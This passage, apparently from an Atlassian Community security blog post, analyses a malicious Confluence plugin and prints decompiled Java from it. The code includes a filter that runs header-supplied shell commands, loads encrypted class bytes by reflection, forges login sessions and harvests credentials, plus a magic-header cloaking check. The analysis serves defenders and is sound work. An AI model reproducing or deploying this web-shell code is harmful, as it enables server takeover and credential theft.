              String headerString = String.format("%s: %s\n", new Object[] { headerName, header });
              bos.write(headerString.getBytes(StandardCharsets.UTF_8));
            }  
        }  
    } catch (Throwable throwable) {}
    bos.write(10);
    try {
      byte[] body = Arrays.copyOfRange(byteBuffer.array(), byteBuffer.position(), byteBuffer.limit());
      bos.write(body);
    } catch (Throwable throwable) {}
    bos.close();
    return bos.toByteArray();
  }
  
  private void uninstall() throws Exception {
...
  }
  
  private void removeFilter(StandardContext standardContext, String filterName) throws Exception {
...
  }
  
  private RequestFacade getRequest(Object request) {
...
  }
  
  private ResponseFacade getResponse(RequestFacade requestFacade) {
    try {
      Field field = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
      setAccessible(field);
      Object request = field.get(requestFacade);
      field = Class.forName("org.apache.catalina.connector.Request").getDeclaredField("response");
      setAccessible(field);
      Object response = field.get(request);
      return new ResponseFacade((Response)response);
    } catch (NoSuchFieldException|ClassNotFoundException|IllegalAccessException noSuchFieldException) {
      return null;
    } 
  }
  
  public void action(RequestFacade requestFacade, ResponseFacade responseFacade) {
    try {
      run(requestFacade, responseFacade);
    } catch (Throwable throwable) {}
  }
  
  private void run(RequestFacade request, ResponseFacade response) throws Exception {
    String k = REDACTED;
    SecretKeySpec keyIns = new SecretKeySpec(k.getBytes(), "AES");
    IvParameterSpec ivIns = new IvParameterSpec(k.getBytes());
    Cipher cipherIns = Cipher.getInstance("AES/CBC/PKCS5Padding");
    cipherIns.init(2, keyIns, ivIns);
    BufferedReader br = request.getReader();
    String line = br.readLine();
    byte[] bytes = Base64.getDecoder().decode(line);
    bytes = cipherIns.doFinal(Arrays.copyOfRange(bytes, bytes[0], bytes.length));
    Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
    defineClass.setAccessible(true);
    Class<?> clazz = (Class)defineClass.invoke(request.getClass().getClassLoader(), new Object[] { bytes, Integer.valueOf(0), Integer.valueOf(bytes.length) });
    Constructor<?> con = clazz.getConstructor(new Class[0]);
    HashMap<String, Object> hashMap = new HashMap<>();
    hashMap.put("request", request);
    hashMap.put("response", response);
    hashMap.put("session", request.getSession());
    con.newInstance(new Object[0]).equals(hashMap);
  }
  
  private void setAccessible(AccessibleObject accessibleObject) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    Field unsafeField;
    Unsafe unsafe;
    Field overrideField;
    long offset;
    String javaVersion = System.getProperty("java.specification.version");
    switch (javaVersion) {
      case "1.7":
      case "1.8":
 ...
      case "9":
      case "10":
      case "11":
...
    } 
  }
  
  private byte[] readAllBytes(InputStream in) throws IOException {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    byte[] buf = new byte[1024];
    int size;
    while ((size = in.read(buf)) != -1)
      bos.write(buf, 0, size); 
    bos.close();
    return bos.toByteArray();
  }
  
  private void getLogin(RequestFacade request, ResponseFacade response) throws IOException {
    StringBuilder sb = new StringBuilder();
    try {
      HttpSession session = request.getSession(true);
      String username = request.getParameter("name");
      String userKey = request.getParameter("key");
      ConfluenceUserImpl user = new ConfluenceUserImpl();
      user.setName(username);
      Method setKeyMethod = user.getClass().getDeclaredMethod("setKey", new Class[] { UserKey.class });
      setAccessible(setKeyMethod);
      setKeyMethod.invoke(user, new Object[] { new UserKey(userKey) });
      ConfluenceUserPrincipal userPrincipal = new ConfluenceUserPrincipal((ConfluenceUser)user);
      session.setAttribute("is.pats.enabled", Boolean.valueOf(true));
      session.setAttribute("atlassian.xsrf.token", UUID.randomUUID().toString().replace("-", ""));
      session.setAttribute("confluence.security.timestamp", Long.valueOf(System.currentTimeMillis()));
      session.setAttribute("confluence.websudo.timestamp", Long.valueOf(System.currentTimeMillis()));
      session.setAttribute("seraph_defaultauthenticator_user", userPrincipal);
      sb.append("Everything is right");
    } catch (Throwable throwable) {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter(sw);
      throwable.printStackTrace(pw);
      pw.close();
      sb.append(sw);
    } 
    ServletOutputStream out = response.getOutputStream();
    out.write(Base64.getEncoder().encode(sb.toString().getBytes(StandardCharsets.UTF_8)));
    out.close();
  }
  
  public void init(FilterConfig filterConfig) throws ServletException {
    this.filterConfig = filterConfig;
  }
  
  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    try {
      RequestFacade request = getRequest(servletRequest);
      Objects.requireNonNull(request);
      String activeHeader = request.getHeader(this.ActiveHeaderName);
      if (activeHeader != null && !activeHeader.equals("")) {
        switch (activeHeader) {
          case "0":
            this.effective = false;
            break;
          case "1":
            this.effective = true;
            break;
          case "-1":
            uninstall();
            break;
        } 
        return;
      } 
    } catch (Throwable throwable) {}
    try {
      if (this.effective) {
        RequestFacade request = getRequest(servletRequest);
        Objects.requireNonNull(request);
        ResponseFacade response = getResponse(request);
        Objects.requireNonNull(response);
        String passwordHeader = request.getHeader(this.PasswordHeaderName);
        if (passwordHeader != null && !passwordHeader.equals("")) {
          ServletOutputStream out;
          switch (passwordHeader) {
            case "1":
              out = servletResponse.getOutputStream();
              out.write(this.GrabResult.toString().getBytes());
              out.close();
              break;
            case "0":
              this.GrabResult = new StringBuilder();
              out = servletResponse.getOutputStream();
              out.write("ok".getBytes());
              out.close();
              break;
          } 
          return;
        } 
        String commandHeader = request.getHeader(this.CommandHeaderName);
        if (commandHeader != null && !commandHeader.equals("")) {
          ByteArrayOutputStream bos = new ByteArrayOutputStream();
          try {
            String commands[], command = new String(Base64.getDecoder().decode(commandHeader));
            if (System.getProperty("os.name").toLowerCase().contains("windows")) {
              commands = new String[] { "cmd", "/c", command };
            } else {
              commands = new String[] { "/bin/sh", "-c", command };
            } 
            Process process = Runtime.getRuntime().exec(commands);
...
        } 
        String bearHeader = request.getHeader(this.BearHeaderName);
        if (bearHeader != null && bearHeader.equals(this.BearHeaderValue)) {
          action(request, response);
          return;
        } 
        String loginHeader = request.getHeader(this.GetLoginHeaderName);
        if (loginHeader != null && loginHeader.equals(this.GetLoginHeaderValue)) {
          getLogin(request, response);
          return;
        } 
      } 
    } catch (Throwable throwable) {}
    try {
      if (this.effective && this.GrabResult.length() <= this.MaxGrabSize && 
        match(servletRequest))
        grab(servletRequest); 
    } catch (Throwable throwable) {}
    filterChain.doFilter(servletRequest, servletResponse);
  }
  
  public void destroy() {}
}

The filter matches POST requests that contain dologin.action or doauthenticate.action and then copies the data in the payload of the request. The filter can be controlled by the header ActiveHeaderName value and by the header CommandHeaderName values (redacted in the code above) to either achieve recording of credentials silently or execute commands based on the os.name system property (which covers Linux and Windows environments).

The harvested credentials are kept in memory in a 20MB default buffer size. Notice the grabbing functionality on lines 24-46 and 48-88 of the snippets above. The return of the grabbed data is controlled by a header field present in the request. The header fields that control the functionality are declared on lines 4-10 in the snippet above.

* Encryption

The plugin uses decryption routines to extract payload code and then execute it (lines 122-140 above, reproduced here):

public void action(RequestFacade requestFacade, ResponseFacade responseFacade) {
    try {
      run(requestFacade, responseFacade);
    } catch (Throwable throwable) {}
  }
  
  private void run(RequestFacade request, ResponseFacade response) throws Exception {
    String k = REDACTED;
    SecretKeySpec keyIns = new SecretKeySpec(k.getBytes(), "AES");
    IvParameterSpec ivIns = new IvParameterSpec(k.getBytes());
    Cipher cipherIns = Cipher.getInstance("AES/CBC/PKCS5Padding");
    cipherIns.init(2, keyIns, ivIns);
    BufferedReader br = request.getReader();
    String line = br.readLine();
    byte[] bytes = Base64.getDecoder().decode(line);
    bytes = cipherIns.doFinal(Arrays.copyOfRange(bytes, bytes[0], bytes.length));
    Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
    defineClass.setAccessible(true);
    Class<?> clazz = (Class)defineClass.invoke(request.getClass().getClassLoader(), new Object[] { bytes, Integer.valueOf(0), Integer.valueOf(bytes.length) });
    Constructor<?> con = clazz.getConstructor(new Class[0]);
    HashMap<String, Object> hashMap = new HashMap<>();
    hashMap.put("request", request);
    hashMap.put("response", response);
    hashMap.put("session", request.getSession());
    con.newInstance(new Object[0]).equals(hashMap);
  }

The main purpose of using encryption is to obfuscate payload code. Notice on line 12 above the call to decrypt the payload. The key used for decryption is hardcoded and redacted from the decompiled code above. Notice the bad practice of using the key and the IV as the same value for encryption, lines 9-10 in the snippet above.

 

The use of reflection

The plugin makes use of reflection in a few areas. First, to load the complied Java code from content-plugin-settings.xml which is an uncommon use. Remember that this code is the one that is used to load into the JVM and execute the additional filter that processes the authentication requests. Second, note its use also in the snippet for the ConfluenceIntegrationRegister.class in a previous section and in the snippet for ConfluenceIntegrationFilter.class.

We can now update our temporary conclusion:

 

  • The plugin implements arbitrary command execution via the sh shell.

  • The plugin can selectively enable extra functionality via an externally controlled flag and reflection.

  • The plugin implements arbitrary file read/write in native Java, without relying on external processes like the shell.

  • The extra functionality is obfuscated Java code that implements Spring filters to harvest login credentials or execute arbitrary commands.

Malicious Confluence plugin functionality

There are a few characteristics of the plugin that place it into the malicious category. We summarize these below and make a few observations.

 

Anonymous access

The disassembled source shows the annotations @AnonymousAllowed for all of the new functionality added. This causes the compiler to generate code that allows anonymous access which bypasses authentication. This means that the operator of the plugin does not need a username or credentials to have their requests serviced. This also avoids exercising code paths that may apply additional error handling or signal something suspicious.

 

The magic headers

The plugin implements a cloaking technique with the help of a header. The snippet below shows this functionality:

public class ContentRest {
  private static final String checkHeaderName = "Cache-Control";
  
  private static final String checkHeaderValue = "max-age=0.5";
  
  @GET
  @Path("/show/{key}")
  @AnonymousAllowed
  public Response show(@HeaderParam("Cache-Control") String check, @PathParam("key") String key) {
    try {
      if (!"max-age=0.5".equals(check))
        return Response.status(404).build();
        ...
        < else do the malicious action >
        ...
    }
    ...
  }

Notice that the if statement on line 11 in the snippet above checks for the parameter Cache-Control and expects it to have the value max-age=0.5 to perform the malicious actions. Any other value or the absence of the header would return HTTP 404, effectively hiding the presence of the plugin.

 

The REST API

In a previous section we analysed and summarized the API that the plugin implements in a couple of tables. The API implements arbitrary command execution via the shell on the system (/page/content/show/{key} and /page/content/list), read/write capability for arbitrary files on the filesystem (/page/content/modify and /page/content/display), functionality updates.

Notice that the plugin implements with the endpoints /page/content/display and /page/content/modify a powerful Java API that does not rely on external processes to read and write arbitrary files on the filesystem. This would evade any behavioral detection that looks for spawned processes. An interesting application of this API is the capability to self update: the plugin itself is a file on disk and can be modified.

 

Obfuscation

The plugin uses 2 forms of obfuscation:

  • resource files that contain compiled Java code. Depending on the characteristics of the API calls loads and executes the code using reflection. While permitted in Java this is an uncommon use, and allows the actor to obfuscate the core parts of the functionality of the plugin: arbitrary code execution and credential stealing. This can be reversed statically as we did above.

  • encryption of payloads. Encrypted payloads in incoming requests contain Java compiled code that is subsequently loaded and executed by use of reflection.

 

The use of reflection

Reflection is used to load either embedded plugin code or external supplied code. This is highly suspicious as self modifying code that is externally supplied is a powerful primitive to execute anything inside the JVM process.

 

Passive sniffing of requests

The obfuscated resource of the plugin implements credential stealing through a filter that is loaded in the running instance and can be turned off based on incoming requests for the plugin. While this behavior can be thought of as part of a security audit that aims to reveal how credentials are processed in the application, the rest of the functionality that the plugin implements make it highly unlikely.

With the characteristics above in mind we can divide the plugin functionality into 2 categories:

 

Main functionality:

  • the plugin implements arbitrary command execution via the sh or cmd shell.

  • the plugin can selectively enable extra functionality via an externally controlled flag and reflection.

  • the plugin implements arbitrary file read/write in native Java, without relying on external processes like the shell.

  • the extra functionality is obfuscated Java code that implements Spring filters to harvest login credentials or execute arbitrary commands.

Secondary functionality for self protection:

  • anonymous access minimizes the code paths of incoming requests and avoids the need to set up user credentials.

  • a magic header commonly used to control caching behavior is used to decide to respond to requests.

  • obfuscation of core functionality

 

Based on the properties above we can say with certainty that this is a malicious plugin.

Conclusion

This is no ordinary plugin. We started by inspecting the meta-information of the plugin JAR file and then decompiled its class files and embedded resources. The meta-information provided some indication about the tools used to build it, the time it was built and some of the assumptions made. The analysis of the class files and embedded resources exposed the techniques used and confirmed the advanced web shell functionality.

The following characteristics indicate that the plugin is designed to operate in adversarial production environments for an extended period of time: the functionality that provides arbitrary code execution, arbitrary read/write of files, obfuscation, authentication bypass through anonymous access, and cloaking through the use of magic request header values.

Plugins or apps augment the functionality of a given application and can be abused by malicious actors. As such, it is recommended that administrators conduct periodic audits of apps installed on on-premise Atlassian products to ensure that all apps are either sourced from official app stores and marketplaces or developed in-house by the company running the application.

For more information on how Atlassian upholds a secure and trustworthy Marketplace, visit https://www.atlassian.com/trust/marketplace

 

1 comment

Comment

Log in or Sign up to comment
Steven F Behnke
Rising Star
Rising Star
Rising Stars are recognized for providing high-quality answers to other users. Rising Stars receive a certificate of achievement and are on the path to becoming Community Leaders.
June 27, 2023

Wow, that is wild. We don't commonly install plugins off the marketplace, but I can't be sure we haven't ever! Good time to review our installed apps. 

TAGS
AUG Leaders

Atlassian Community Events